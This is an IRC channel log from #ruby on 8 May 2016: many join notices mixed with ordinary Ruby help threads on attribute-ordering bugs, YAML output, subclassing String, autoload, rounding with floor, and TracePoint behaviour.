« Back to channel list

#ruby - 08 May 2016

« Back 1 day Forward 1 day »
[00:02:51] blackmes1: has joined #ruby
[00:02:55] sp4rrow: has joined #ruby
[00:02:56] rbennacer: has joined #ruby
[00:04:53] Rodya_: has joined #ruby
[00:05:43] senayar: has joined #ruby
[00:06:32] djbkd: has joined #ruby
[00:07:57] tAn: has joined #ruby
[00:08:46] griffindy: has joined #ruby
[00:10:38] CloCkWeRX: has joined #ruby
[00:11:23] Serp3nt: has left #ruby: ("Saindo")
[00:11:45] prab97: has joined #ruby
[00:12:14] blackmes1: has joined #ruby
[00:16:48] stannard: has joined #ruby
[00:18:20] zeroDivisible: has joined #ruby
[00:19:52] BSaboia: has joined #ruby
[00:21:07] LoneHermit: has joined #ruby
[00:21:53] leitz: has joined #ruby
[00:22:19] moeabdol: has joined #ruby
[00:23:13] leitz: I think the issue is that I don't have the methods related properly. https://github.com/LeamHall/ale_lcthw/blob/master/leam/toys/test_cut_string.c#L56-L60
[00:23:14] leitz: https://github.com/LeamHall/CT_Character_Generator/blob/master/lib/character.rb#L96-L102
[00:24:01] leitz: What should happen is that the attribute terms is set and then age is in part derived from that. It's not happening; the two are showing too much divergence.
[00:24:21] leitz: Hrpmh, drop the first reference.
[00:25:12] leitz: This: https://github.com/LeamHall/CT_Character_Generator/blob/master/lib/character.rb#L26-L27
[00:26:19] leitz: So @age should be set after @terms is set. The outputs are saying they aren't. My guess is that in initialization things aren't getting done in the written order so I have to figure out a way to enforce it.
[00:27:36] banister: has joined #ruby
[00:28:12] banister: has joined #ruby
[00:28:30] leitz: Hmm...unless the terms are getting set and then reset.
[00:29:06] banister: has joined #ruby
[00:29:58] tlaxkit: has joined #ruby
[00:30:08] CloCkWeRX: has joined #ruby
[00:30:39] nofxx: leitz, ruby/scripted langs runs sequentially.. (well inside a meth/func any lang will)
[00:30:39] leitz: That's what's happening. The terms attribute is being re-rolled.
[00:30:45] banister: has joined #ruby
[00:31:05] nofxx: leitz, yup, no other possibility
[00:31:15] bruno-: has joined #ruby
[00:32:18] shevy: has joined #ruby
[00:32:33] Ox0dea: leitz: You have a bug: https://eval.in/566934
[00:33:36] Ox0dea: If you're always going to supply `char['terms']` and meant to only define a writer, what's `|| terms` doing there?
[00:36:00] banister: has joined #ruby
[00:38:24] leitz: Not sure if I'm always going to supply or create.
[00:38:42] leitz: Right now it's mostly create.
[00:39:07] leitz: I've let this code set for a bit and am trying to get back into how the bits fall together.
[00:39:47] senayar: has joined #ruby
[00:39:47] senayar: has joined #ruby
[00:43:17] Devalo: has joined #ruby
[00:43:58] charliesome: has joined #ruby
[00:44:58] aspiers_: has joined #ruby
[00:46:18] deadhound: has joined #ruby
[00:46:43] lomex: has joined #ruby
[00:49:00] kies: has joined #ruby
[00:49:27] deadhound: has joined #ruby
[00:51:55] deadhound: has joined #ruby
[00:53:04] leitz: Okay, fixed. @age is set if given or defaults to 18. When terms is called it sets @terms and then resets @age.
[00:53:43] deadhound: has joined #ruby
[00:55:23] banister: has joined #ruby
[00:55:45] moei: has joined #ruby
[00:56:07] shevy: has joined #ruby
[00:56:42] arlek: has joined #ruby
[00:57:49] leitz: I have got to figure out a better way to map my classes and interactions.
[00:59:57] RenatoSilva: has joined #ruby
[01:00:58] RenatoSilva: hi, anyone knows a library/approach to convert rtf directly to pdf?
[01:01:33] zacstewart: has joined #ruby
[01:01:50] idefine: has joined #ruby
[01:05:58] Rodya_: has joined #ruby
[01:06:14] terminalrecluse: has joined #ruby
[01:06:49] Ox0dea: leitz: https://en.wikipedia.org/wiki/Entity_component_system
[01:07:50] hahuang65: has joined #ruby
[01:07:51] Ox0dea: renatosilva: Is Pandoc too heavy for your use case?
[01:09:33] Rodya__: has joined #ruby
[01:09:59] drale2k: has joined #ruby
[01:10:02] Gasher: has joined #ruby
[01:13:02] shevy: has joined #ruby
[01:14:22] Rodya_: has joined #ruby
[01:14:39] RenatoSilva: hi Ox0dea, it seems so, also can't see mention of rtf as source format
[01:15:52] pawnbox: has joined #ruby
[01:16:21] Ox0dea: renatosilva: Ah, you're right.
[01:16:53] Ox0dea: http://www.zamzar.com/ does RTF to PDF, but they're pretty hush-hush about their method. :/
[01:17:19] Rodya_: has joined #ruby
[01:17:24] grenierm: has joined #ruby
[01:17:48] Ox0dea: I suspect you'll need to use an intermediate format.
[01:19:40] blur3d: has joined #ruby
[01:22:19] ericn81: has joined #ruby
[01:31:56] hck89: has joined #ruby
[01:33:45] lessless: has joined #ruby
[01:34:44] chrisr1386: has joined #ruby
[01:35:45] SCHAAP137: has joined #ruby
[01:35:59] dima__: has joined #ruby
[01:37:59] dima__: hello. Can someone help me to choose jre for jruby. I wanna use it for rsense.
[01:38:34] Rodya_: has joined #ruby
[01:39:47] Ox0dea: dima__: Why not OpenJDK?
[01:44:10] jord: has joined #ruby
[01:44:45] RegulationD: has joined #ruby
[01:44:54] AdamMeghji__: has joined #ruby
[01:45:01] imanc: has joined #ruby
[01:45:06] cardoni: has joined #ruby
[01:45:19] Guest4184_______: has joined #ruby
[01:45:33] codepete: has joined #ruby
[01:45:43] tfitts: has joined #ruby
[01:45:48] incomprehensibly: has joined #ruby
[01:45:50] Devalo: has joined #ruby
[01:45:54] chrismytton: has joined #ruby
[01:45:54] Ispira: has joined #ruby
[01:46:01] ramblinpeck: has joined #ruby
[01:46:03] pizzaops: has joined #ruby
[01:46:07] tmtwd: has joined #ruby
[01:46:18] acalewin: has joined #ruby
[01:46:27] the-eat-scout: has joined #ruby
[01:46:27] amitchellbullard: has joined #ruby
[01:46:35] daxroc: has joined #ruby
[01:46:46] deeprave: has joined #ruby
[01:46:46] pmarreck: has joined #ruby
[01:47:00] ijij: has joined #ruby
[01:47:06] caw: has joined #ruby
[01:47:12] bove: has joined #ruby
[01:47:27] knowtheory: has joined #ruby
[01:47:30] LoneHerm_: has joined #ruby
[01:47:30] andersh: has joined #ruby
[01:48:35] Rodya_: has joined #ruby
[01:49:13] nadav: has joined #ruby
[01:49:27] samuelkadolph: has joined #ruby
[01:49:33] elliottcable: has joined #ruby
[01:51:55] chihhsin: has joined #ruby
[01:51:57] Rodya__: has joined #ruby
[01:55:29] aep: has joined #ruby
[01:55:43] j2k: has joined #ruby
[01:56:03] kam270: has joined #ruby
[01:57:47] JesseH: has joined #ruby
[01:58:48] Vircung: has joined #ruby
[01:59:08] johnny56: has joined #ruby
[01:59:32] bronson: has joined #ruby
[01:59:35] TTilus: has joined #ruby
[01:59:40] janebootydoe: has joined #ruby
[02:03:33] matp: has joined #ruby
[02:05:40] pawnbox: has joined #ruby
[02:07:28] kallisti5: has joined #ruby
[02:10:35] moeabdol: has joined #ruby
[02:13:37] armatechnicos: has joined #ruby
[02:17:49] modin: has joined #ruby
[02:19:07] arlek_: has joined #ruby
[02:27:35] cdg: has joined #ruby
[02:28:44] der-landgraf: has joined #ruby
[02:28:45] der-landgraf: has joined #ruby
[02:30:25] justin_pdx: has joined #ruby
[02:34:34] slackbotgz: has joined #ruby
[02:34:58] banister: has joined #ruby
[02:42:04] nanoz: has joined #ruby
[02:42:27] LoneHerm_: has joined #ruby
[02:44:36] pawnbox: has joined #ruby
[02:46:16] moeabdol: has joined #ruby
[02:46:33] terminalrecluse: has joined #ruby
[02:48:45] goodroot: has joined #ruby
[02:52:52] tohuw: has joined #ruby
[02:57:37] diegoaguilar: has joined #ruby
[03:00:17] griffindy: has joined #ruby
[03:00:52] griffindy: has joined #ruby
[03:02:24] greves: has joined #ruby
[03:02:28] rkazak: has joined #ruby
[03:02:54] hahuang61: has joined #ruby
[03:03:21] solocshaw1: has joined #ruby
[03:03:28] cdg: has joined #ruby
[03:07:44] flashpoint9: has joined #ruby
[03:11:11] terminalrecluse: has joined #ruby
[03:13:30] nerium: has joined #ruby
[03:15:39] arescorpio: has joined #ruby
[03:17:34] braincrash: has joined #ruby
[03:24:04] s2013: has joined #ruby
[03:25:18] gix: has joined #ruby
[03:28:16] htmldrum: has joined #ruby
[03:28:21] justin_pdx: has joined #ruby
[03:31:29] Caerus: ACTION greets #ruby
[03:38:46] idefine: has joined #ruby
[03:40:27] elifoster: has joined #ruby
[03:41:27] LoneHermit: has joined #ruby
[03:41:44] Ispira: has joined #ruby
[03:41:47] idefine: has joined #ruby
[03:42:45] kkeuning: has joined #ruby
[03:45:15] RenatoSilva: has left #ruby: ("http://renatosilva.net - Renato Silva")
[03:47:21] Devalo: has joined #ruby
[03:48:46] QpQ4: has joined #ruby
[03:51:45] nofxx: has joined #ruby
[03:57:49] pawnbox: has joined #ruby
[03:58:05] d0lph1n98: has joined #ruby
[03:59:26] dopamean_: has joined #ruby
[04:01:53] bronson: has joined #ruby
[04:04:22] ur5us: has joined #ruby
[04:09:30] tax: has joined #ruby
[04:21:55] Es0teric: has joined #ruby
[04:24:48] fedexo: has joined #ruby
[04:26:29] lxsameer: has joined #ruby
[04:30:16] anku: has joined #ruby
[04:32:33] nerium: has joined #ruby
[04:38:11] Ocratech: has joined #ruby
[04:39:51] pawnbox: has joined #ruby
[04:42:13] Channel6: has joined #ruby
[04:46:58] RegulationD: has joined #ruby
[04:53:46] terminalrecluse: has joined #ruby
[04:58:17] hk238: has joined #ruby
[05:01:21] Chachi: has joined #ruby
[05:03:07] zacstewart: has joined #ruby
[05:04:03] hahuang61: has joined #ruby
[05:07:20] ianconnolly: has joined #ruby
[05:07:54] dionysus69: has joined #ruby
[05:08:27] rbennacer: has joined #ruby
[05:12:46] Moosashi: has joined #ruby
[05:18:24] idefine: has joined #ruby
[05:18:24] tvw: has joined #ruby
[05:20:23] xlegoman: has joined #ruby
[05:21:40] swills: has joined #ruby
[05:23:10] duncannz: has joined #ruby
[05:24:08] duncannz: has joined #ruby
[05:25:09] duncannz: has joined #ruby
[05:30:11] d0lph1n98: has joined #ruby
[05:30:14] justin_pdx: has joined #ruby
[05:30:17] idefine: has joined #ruby
[05:35:02] s2013: has joined #ruby
[05:36:20] moeabdol: has joined #ruby
[05:37:10] ddffg: has joined #ruby
[05:38:58] Moosashi: has joined #ruby
[05:38:59] kareeoleez: has joined #ruby
[05:41:51] moeabdol: has joined #ruby
[05:42:30] kareeoleez: has joined #ruby
[05:44:01] htmldrum: has joined #ruby
[05:45:58] djbkd: has joined #ruby
[05:45:58] Moosashi: has joined #ruby
[05:47:26] yfeldblum: has joined #ruby
[05:48:57] Devalo: has joined #ruby
[05:51:46] hahuang61: has joined #ruby
[05:58:33] goldfax: has joined #ruby
[06:02:07] john: has joined #ruby
[06:03:36] bruno-: has joined #ruby
[06:03:45] bronson: has joined #ruby
[06:04:26] mooe: has joined #ruby
[06:06:40] yardenbar: has joined #ruby
[06:10:36] nanoz: has joined #ruby
[06:10:56] The_Phoenix: has joined #ruby
[06:13:10] The_Phoenix: has joined #ruby
[06:14:18] pawnbox: has joined #ruby
[06:14:26] The_Phoenix: has joined #ruby
[06:18:07] baweaver: shevy - http://www.bustedtees.com/deal/dam
[06:19:00] ur5us: has joined #ruby
[06:19:14] houhoulis: has joined #ruby
[06:19:34] bluOxigen: has joined #ruby
[06:19:43] antgel: has joined #ruby
[06:21:57] bluOxigen_: has joined #ruby
[06:36:43] opus_: has joined #ruby
[06:38:01] stardiviner: has joined #ruby
[06:45:32] Moosashi: has joined #ruby
[06:45:59] gooodroot: has joined #ruby
[06:52:27] A124: has joined #ruby
[06:52:31] hahuang61: has joined #ruby
[06:53:53] A124: has joined #ruby
[06:53:57] A124: has joined #ruby
[07:01:01] ramfjord: has joined #ruby
[07:01:38] Moosashi: has joined #ruby
[07:02:35] toretore: has joined #ruby
[07:03:50] htmldrum: has joined #ruby
[07:04:28] the_drow: has joined #ruby
[07:04:54] bruno-: has joined #ruby
[07:20:43] Devalo: has joined #ruby
[07:21:50] CausaMortis: has joined #ruby
[07:27:17] idefine: has joined #ruby
[07:27:27] kareeoleez: has joined #ruby
[07:27:56] Dimik: has joined #ruby
[07:29:28] yaw: has joined #ruby
[07:30:54] firstdayonthejob: has joined #ruby
[07:31:51] akem: has joined #ruby
[07:34:13] vdamewood: has joined #ruby
[07:39:01] neanderslob: has joined #ruby
[07:49:36] d0lph1n98: has joined #ruby
[07:56:16] User458764: has joined #ruby
[07:56:32] htmldrum: has joined #ruby
[07:57:26] neanderslob: has joined #ruby
[07:57:41] Nahra: has joined #ruby
[07:59:01] hahuang61: has joined #ruby
[08:05:00] bronson: has joined #ruby
[08:06:51] A124: has joined #ruby
[08:06:59] jenrzzz: has joined #ruby
[08:12:31] phrozen77: has joined #ruby
[08:15:14] SCHAAP137: has joined #ruby
[08:16:18] G: has joined #ruby
[08:18:45] LoneHerm_: has joined #ruby
[08:23:12] goooodroot: has joined #ruby
[08:28:24] gooooodroot: has joined #ruby
[08:35:26] blaxter: has joined #ruby
[08:35:39] goodroot: has joined #ruby
[08:35:51] ur5us: has joined #ruby
[08:37:58] yfeldblum: has joined #ruby
[08:39:08] Jackneill: has joined #ruby
[08:40:08] mitsuhiko: has joined #ruby
[08:40:39] mitsuhiko: greetings. is there a semi supported way to work with ruby's thread/fiber locals from c extensions?
[08:40:52] pawnbox: has joined #ruby
[08:41:24] LoneHerm_: has joined #ruby
[08:46:07] blaxter: has joined #ruby
[08:48:11] RegulationD: has joined #ruby
[08:50:30] lubekpl: has joined #ruby
[08:51:07] pawnbox: has joined #ruby
[08:55:19] pawnbox: has joined #ruby
[08:59:47] hahuang61: has joined #ruby
[09:03:39] User458764: has joined #ruby
[09:04:39] zacstewart: has joined #ruby
[09:06:36] bronson: has joined #ruby
[09:11:12] yaw: has joined #ruby
[09:11:21] Mia: has joined #ruby
[09:11:21] Mia: has joined #ruby
[09:11:31] neanderslob: has joined #ruby
[09:18:46] bruno-: has joined #ruby
[09:20:25] IH8|N|199325: has joined #ruby
[09:22:25] Ocratech: has joined #ruby
[09:22:45] drewo: has joined #ruby
[09:22:47] DoubleMalt: has joined #ruby
[09:25:57] jenrzzz: has joined #ruby
[09:26:11] futilegames: has joined #ruby
[09:26:37] _aeris_: has joined #ruby
[09:31:57] Madplatypus: has joined #ruby
[09:33:23] tAn: has joined #ruby
[09:35:24] lomex: has joined #ruby
[09:36:56] gooodroot: has joined #ruby
[09:38:27] zeroDivisible: has joined #ruby
[09:41:08] _aeris_: has joined #ruby
[09:44:26] charliesome: has joined #ruby
[09:49:26] cajone: has left #ruby: ()
[09:49:42] last_staff: has joined #ruby
[09:52:32] ishe: has joined #ruby
[09:57:57] patrick-sartent: has joined #ruby
[09:58:03] yfeldblum: has joined #ruby
[09:59:43] Vingador: has joined #ruby
[09:59:53] crameth: has joined #ruby
[10:04:21] Aragorn121: has joined #ruby
[10:05:25] Gasher: has joined #ruby
[10:07:31] bronson: has joined #ruby
[10:07:48] SubjectiveBias: has joined #ruby
[10:11:19] zeroDivisible: has joined #ruby
[10:11:28] LoneHermit: has joined #ruby
[10:12:32] yokel: has joined #ruby
[10:12:38] genpaku: has joined #ruby
[10:12:48] ishe: has joined #ruby
[10:13:08] akem: has joined #ruby
[10:13:42] ishe1: has joined #ruby
[10:13:57] ishe: has left #ruby: ()
[10:14:54] ishe: has joined #ruby
[10:15:29] BlackGear: has joined #ruby
[10:16:41] drewo: has joined #ruby
[10:17:53] electrostat: has joined #ruby
[10:18:04] DoubleMalt: has joined #ruby
[10:19:18] ishe: has joined #ruby
[10:19:59] drptbl: has joined #ruby
[10:20:13] greves: has joined #ruby
[10:20:38] d0lph1n98: has joined #ruby
[10:21:20] charliesome: has joined #ruby
[10:22:51] drptbl: has joined #ruby
[10:24:21] goooodroot: has joined #ruby
[10:24:36] dionysus69: has joined #ruby
[10:28:34] blackmes1: has joined #ruby
[10:31:45] gooooodroot: has joined #ruby
[10:32:57] atmosx: has joined #ruby
[10:33:14] cajone: has joined #ruby
[10:33:16] skade: has joined #ruby
[10:33:37] existensil: has joined #ruby
[10:36:04] electrostat: has joined #ruby
[10:37:00] electrostat: has joined #ruby
[10:38:29] shevy: baweaver lol
[10:38:55] shevy: I can't even decide whether that is a beaver in disguise or an ewok thingy
[10:40:32] shevy: I saw somewhat similar memes with an otter, I liked this one: https://goo.gl/vPmiIk
[10:41:13] User458764: has joined #ruby
[10:43:56] jenrzzz: has joined #ruby
[10:45:57] kirillow: has joined #ruby
[10:46:07] electrostat: has joined #ruby
[10:46:08] kirillow: does somebody here know yaml?
[10:47:29] spider-mario: has joined #ruby
[10:47:42] kirillow: when I'm doing YAML.dump("text") it prints "--- text\n...\n"
[10:47:44] nisstyre: has joined #ruby
[10:48:31] kirillow: but things like YAML.dump("description: text") do not end the yaml with \n...\n
[10:48:46] kirillow: .to_yaml doesn't do this either
[10:48:49] shevy: you mean it appends the ... part ?
[10:48:59] kirillow: i WANT to append the ...
[10:49:24] kirillow: do i have to do this manually except when issuing YAML.dump("sometext")
[10:59:39] Ropeney: has joined #ruby
[11:00:30] hahuang61: has joined #ruby
[11:01:00] goodroot: has joined #ruby
[11:01:21] shevy: when I do YAML.dump("text") I get # => "--- text\n"
[11:06:05] jenrzzz: has joined #ruby
[11:06:05] jenrzzz: has joined #ruby
[11:06:06] SubjectiveBias: I get "--- text\n...\n"
[11:06:55] kirillow: that wasn't a response to me
[11:08:05] blaxter: has joined #ruby
[11:10:05] mitsuhiko: is there some support in ruby to embed a plain old c struct in a VALUE?
[11:10:27] drewo: has joined #ruby
[11:10:30] mitsuhiko: i would like to stash away a support structure in a ruby thread local
[11:10:37] mitsuhiko: which never really gets exposed to ruby anyways
[11:10:47] mitsuhiko: but i figured the GC will walk past my data
[11:10:58] lomex: has joined #ruby
[11:15:55] charliesome: has joined #ruby
[11:18:44] dumdedum: has joined #ruby
[11:20:13] bruno-: has joined #ruby
[11:22:25] djbkd: has joined #ruby
[11:29:03] symm-: has joined #ruby
[11:29:15] araujo: has joined #ruby
[11:33:33] htmldrum: has joined #ruby
[11:34:20] pawnbox: has joined #ruby
[11:34:46] shevy: hmm ... is it a good idea to subclass from class String? I would have a string-like class with some extra methods on it
[11:35:59] PhantomSpank: has joined #ruby
[11:37:22] adaedra: Would be hard to create one.
[11:37:33] adaedra: You may be looking for refinements.
[11:42:11] ytti: i do that
[11:42:49] ytti: module author gets this subclassed string, and can use the extra methods
[11:42:56] ytti: i guess it's kinda special case
[11:43:42] ytti: and module author will often lose the subclassed string, when manipulating it
[11:43:49] ytti: as returned object is plain old string
[11:44:07] millerti: has joined #ruby
[11:46:40] jds: has joined #ruby
[11:48:47] the_drow: has joined #ruby
[11:52:43] shevy: haha I was randomly googling for it too
[11:52:45] shevy: landed on http://words.steveklabnik.com/beware-subclassing-ruby-core-classes
[11:52:50] shevy: class Dna < String
[11:52:57] shevy: and steve sorta had the example I had in mind too :D
[11:53:58] pawnbox: has joined #ruby
[11:53:59] shevy: sorta makes you wonder whether you could just include individual methods from another class
[11:56:19] adaedra: you can include from a module
[11:57:00] Rodya_: has joined #ruby
[11:58:15] idefine: has joined #ruby
[12:00:12] LoneHermit: has joined #ruby
[12:00:21] electrostat: has joined #ruby
[12:04:02] Rodya_: has joined #ruby
[12:04:33] drewo: has joined #ruby
[12:04:54] Hanmac: has joined #ruby
[12:06:33] adaedra: but yeah, refinements should be able to add your methods to String without the risk of loosing them when doing an operation on a String instance and not pollute the object which could be used by external code
[12:06:37] trinaldi: has joined #ruby
[12:08:33] mikecmpbll: has joined #ruby
[12:09:22] bronson: has joined #ruby
[12:13:21] mdw: has joined #ruby
[12:14:29] stannard: has joined #ruby
[12:15:56] ffgghhj: has joined #ruby
[12:16:14] symm-: has joined #ruby
[12:17:44] dumdedum: has joined #ruby
[12:20:23] PlasmaStar: has joined #ruby
[12:21:31] bruno-: has joined #ruby
[12:22:46] braincrash: has joined #ruby
[12:25:15] gooodroot: has joined #ruby
[12:26:53] _aeris_: has joined #ruby
[12:33:37] sepp2k: has joined #ruby
[12:35:29] goooodroot: has joined #ruby
[12:36:10] blackmes1: has joined #ruby
[12:41:07] Zarthus: do people still recommend against kernel#autoload, or is it okay to use it?
[12:41:52] apeiros: Zarthus: the thread safety issue seems to have been solved a couple of versions back
[12:42:11] apeiros: but there was never an update on the remark that they want to retire it :-/
[12:43:53] Zarthus: I'm considering refactoring my project to more of a rails-setup of directories
[12:44:26] robh71: has joined #ruby
[12:44:31] Zarthus: the whole lib/project/<ton of files> is probably not ideal, and autoload will probably align nicely with that vision
[12:49:53] RegulationD: has joined #ruby
[12:52:30] idefine: has joined #ruby
[12:52:35] nadir: has joined #ruby
[12:58:31] djbkd: has joined #ruby
[12:58:41] drewo: has joined #ruby
[12:58:43] capa66: has joined #ruby
[13:01:19] hahuang61: has joined #ruby
[13:02:52] codecop: has joined #ruby
[13:03:42] Moosashi: has joined #ruby
[13:06:08] zacstewart: has joined #ruby
[13:06:56] yardenbar: has joined #ruby
[13:10:21] SubjectiveBias: has joined #ruby
[13:12:47] CloCkWeRX: has joined #ruby
[13:17:50] d0nn1e: has joined #ruby
[13:18:08] tknz: has joined #ruby
[13:18:28] hays: has joined #ruby
[13:20:20] electrostat: has joined #ruby
[13:20:42] gooooodroot: has joined #ruby
[13:21:09] skade: has joined #ruby
[13:26:10] dionysus69: has joined #ruby
[13:30:41] zapata: has joined #ruby
[13:30:46] bluOxigen: has joined #ruby
[13:31:01] banister: has joined #ruby
[13:32:33] patrick-sartent: has joined #ruby
[13:36:15] dionysus69: has joined #ruby
[13:36:38] lxsameer: has joined #ruby
[13:42:39] charliesome: has joined #ruby
[13:42:57] skweek: has joined #ruby
[13:45:30] syk: has joined #ruby
[13:46:22] kareeoleez: has joined #ruby
[13:46:34] idefine: has joined #ruby
[13:46:47] stannard: has joined #ruby
[13:47:36] fofo2: has joined #ruby
[13:47:41] charliesome: has joined #ruby
[13:48:06] lomex: has joined #ruby
[13:48:15] LoneHerm_: has joined #ruby
[13:50:40] fofo2: can someone tell me what is wrong with this? new to programming
[13:50:42] fofo2: https://gist.github.com/anonymous/036b2da0268a3649d22c4760a5dc6ad2
[13:52:45] drewo: has joined #ruby
[13:52:54] Chachi: has joined #ruby
[13:52:57] ytti: [1] pry(main)> 'kakka' == 'akkak'.reverse
[13:53:03] adaedra: line 7, you're comparing an integer to a string.
[13:53:12] adaedra: also, this code looks very c.
[13:53:29] sdothum: has joined #ruby
[13:53:39] adaedra: line 14, you surely mean elsif, not if.
[13:53:52] adaedra: otherwise, there's a syntax error.
[13:54:11] fofo2: which one is the integer, the reverse?
[13:54:19] ytti: reverse is a s tring
[13:54:24] ytti: reverse.size
[13:54:29] adaedra: you should be able to tell that.
[13:54:32] nsno: `else` would do, even better would be removing 12 thru 16 and just evaluating `reverse == string`
[13:54:59] flashpoint9: has joined #ruby
[13:56:02] bluOxigen_: has joined #ruby
[13:56:59] haxrbyte: has joined #ruby
[13:57:15] griffindy: has joined #ruby
[13:57:52] haxrbyte: has joined #ruby
[13:58:00] bazz_: has joined #ruby
[13:59:25] shinnya: has joined #ruby
[14:00:55] Laika_: has joined #ruby
[14:01:22] Laika_: has left #ruby: ()
[14:01:29] Laika_: has joined #ruby
[14:01:55] Laika_: has left #ruby: ()
[14:02:17] electrostat: has joined #ruby
[14:02:40] Laika_: has joined #ruby
[14:02:56] Laika_: has left #ruby: ()
[14:04:34] kareeoleez: has joined #ruby
[14:05:44] idle_task: has joined #ruby
[14:06:13] banister: has joined #ruby
[14:08:39] mostlybadfly: has joined #ruby
[14:09:02] skade: has joined #ruby
[14:10:08] Moosashi: has joined #ruby
[14:10:33] bronson: has joined #ruby
[14:13:54] sdothum: has joined #ruby
[14:15:37] raeoks: has joined #ruby
[14:17:01] stannard: has joined #ruby
[14:22:40] kareeoleez: has joined #ruby
[14:22:46] bruno-: has joined #ruby
[14:23:30] zast: has joined #ruby
[14:23:42] UserInneed: has joined #ruby
[14:26:21] skade: has joined #ruby
[14:26:51] fofo2: has left #ruby: ()
[14:28:21] orangey: has joined #ruby
[14:29:39] Trynemjoel: has joined #ruby
[14:29:50] syk: has joined #ruby
[14:32:22] chouhoulis: has joined #ruby
[14:32:57] goodroot: has joined #ruby
[14:33:53] Moosashi: has joined #ruby
[14:34:25] binaryplease: has joined #ruby
[14:36:10] tatsuo: has joined #ruby
[14:37:18] laska: has joined #ruby
[14:37:19] Ispira: has joined #ruby
[14:37:49] chouhoulis: has joined #ruby
[14:38:20] laska: has left #ruby: ()
[14:39:08] laska: has joined #ruby
[14:40:14] laska: has left #ruby: ()
[14:40:35] idefine: has joined #ruby
[14:42:33] mdw: has joined #ruby
[14:43:32] terminalrecluse: has joined #ruby
[14:44:17] davedev24: has joined #ruby
[14:46:19] bruno-: has joined #ruby
[14:46:54] drewo: has joined #ruby
[14:47:55] Devalo: has joined #ruby
[14:50:23] greves: has joined #ruby
[14:50:44] RegulationD: has joined #ruby
[14:53:02] Ishido: has joined #ruby
[14:53:05] greves: has joined #ruby
[14:54:06] greves: has joined #ruby
[14:54:48] rbennacer: has joined #ruby
[14:55:46] greves: has joined #ruby
[14:57:14] greves: has joined #ruby
[14:57:14] JoshGlzBrk: has joined #ruby
[14:58:25] greves: has joined #ruby
[14:59:34] greves: has joined #ruby
[14:59:42] solocshaw: has joined #ruby
[15:02:00] hahuang61: has joined #ruby
[15:03:06] Azure: has joined #ruby
[15:03:15] bruno-: has joined #ruby
[15:05:51] User458764: has joined #ruby
[15:05:58] Ocratech: has joined #ruby
[15:06:05] workmad3: has joined #ruby
[15:06:52] zacstewart: has joined #ruby
[15:09:03] xlegoman: has joined #ruby
[15:09:32] Moosashi: has joined #ruby
[15:10:15] BSaboia: has joined #ruby
[15:10:19] nando293921: has joined #ruby
[15:13:37] jenrzzz: has joined #ruby
[15:13:37] jenrzzz: has joined #ruby
[15:16:35] SubjectiveBias: has joined #ruby
[15:17:11] PlasmaStar: has joined #ruby
[15:17:52] Zarthus: Kernel#set_trace_func sounds ultimately pretty useless but it's nice to see how everything flows in your project o_O
[15:18:09] Ox0dea: It's useful for doing silly things.
[15:18:17] Ox0dea: Well, TracePoint is, anyway.
[15:23:54] pickandmix: has joined #ruby
[15:27:32] moeabdol: has joined #ruby
[15:28:28] shevy: Zarthus even global variables sniffing! http://apidock.com/ruby/v1_9_3_392/Kernel/trace_var
[15:28:53] shevy: I think I saw it in the pickaxe first, many years ago... I still have not found a use case for it myself
[15:29:04] rkazak: has joined #ruby
[15:29:29] Zarthus: i wrote a debug handler that is only ever used when debugging = true
[15:29:48] Zarthus: the problem is that it's 20k lines of c-calls after just 20 seconds of running
[15:34:43] idefine: has joined #ruby
[15:36:33] LoneHermit: has joined #ruby
[15:36:36] iwmrby: has joined #ruby
[15:39:47] Ebok: has joined #ruby
[15:40:01] nando293921: has joined #ruby
[15:41:00] drewo: has joined #ruby
[15:42:06] charliesome: has joined #ruby
[15:47:06] Devalo: has joined #ruby
[15:47:48] idefine: has joined #ruby
[15:50:42] drptbl: has joined #ruby
[15:51:23] slackbotgz: has joined #ruby
[15:55:17] fedexo: has joined #ruby
[15:56:05] QpQ4: has joined #ruby
[15:58:57] terminalrecluse: has joined #ruby
[16:01:15] shevy: is there a way to always round down? like if we have: 66.6, to apply a round downwards to 66.0 or 66 (net result does not have to be a float anymore)
[16:01:53] chopin: has joined #ruby
[16:02:02] ytti: 66.6.to_i
[16:02:02] havenwood: shevy: floor
[16:03:04] diegoviola: has joined #ruby
[16:03:15] kareeoleez: has joined #ruby
[16:04:14] shevy: ah thanks
[16:04:16] havenwood: >> [-66.6.floor, -66.6.truncate]
[16:04:17] ruby[bot]: havenwood: # => [-67, -66] (https://eval.in/567055)
[16:04:20] havenwood: shevy: ^ which do you want?
[16:04:52] shevy: I won't have negative values though :D
[16:04:57] havenwood: shevy: Then no matter!
[16:05:08] chipotle: has joined #ruby
[16:05:26] havenwood: shevy: floor or to_i/truncate, pick you poison
[16:05:39] Ox0dea: Those are curatives!
[16:05:50] Ox0dea: (Usually.)
[16:06:06] havenwood: pick your cure*
[16:06:11] shevy: so many ways
[16:06:30] Zarthus: I never thought about #floor going for the lowest value like that
[16:07:07] pwnd_nsfw: not ceiling
[16:07:22] Zarthus: well the floor is upwards if you're in the basement
[16:07:28] Ox0dea: It rounds toward the nearest lesser integer.
[16:07:37] pwnd_nsfw: is it though?
[16:07:39] Ox0dea: s/lesser/not greater/, technically.
[16:07:41] Zarthus: it's both!
[16:08:01] pwnd_nsfw: this isn't php
[16:08:16] Ox0dea: PHP's floor() semantics are sane?
[16:08:41] Zarthus: % php -r 'var_dump(floor(-66.6));'
[16:08:41] Zarthus: float(-67)
[16:08:58] Zarthus: it has admittably bitten me a few times that's returning a float
[16:09:38] hosttor: has joined #ruby
[16:10:07] nerium: has joined #ruby
[16:10:50] AlexRussia: has joined #ruby
[16:11:46] idefine_: has joined #ruby
[16:11:58] kareeoleez: has joined #ruby
[16:12:38] Mon_Ouie: has joined #ruby
[16:12:51] bronson: has joined #ruby
[16:14:37] jenrzzz: has joined #ruby
[16:17:37] Chachi: has joined #ruby
[16:18:40] ddffg: has joined #ruby
[16:19:12] robbyoconnor: has joined #ruby
[16:27:33] sepp2k: has joined #ruby
[16:29:18] JoshGlzBrk: has joined #ruby
[16:30:11] kareeoleez: has joined #ruby
[16:35:02] drewo: has joined #ruby
[16:36:09] Chachi: has joined #ruby
[16:36:19] stannard: has joined #ruby
[16:37:10] rkazak: has joined #ruby
[16:39:22] kareeoleez: has joined #ruby
[16:42:18] Zarthus: It seems like my error logger (which is pretty much just a TracePoint#trace(:raise)) halts trap('SIGINT') { raise KeyboardInterrupt }
[16:43:20] nadir: has joined #ruby
[16:46:36] dikaio: has joined #ruby
[16:49:29] snowy: has joined #ruby
[16:51:41] edwinvdgraaf: has joined #ruby
[16:52:32] |2701: has joined #ruby
[16:54:21] Zarthus: yep, it seems like TracePoint#raise nullifies the use of begin...rescue
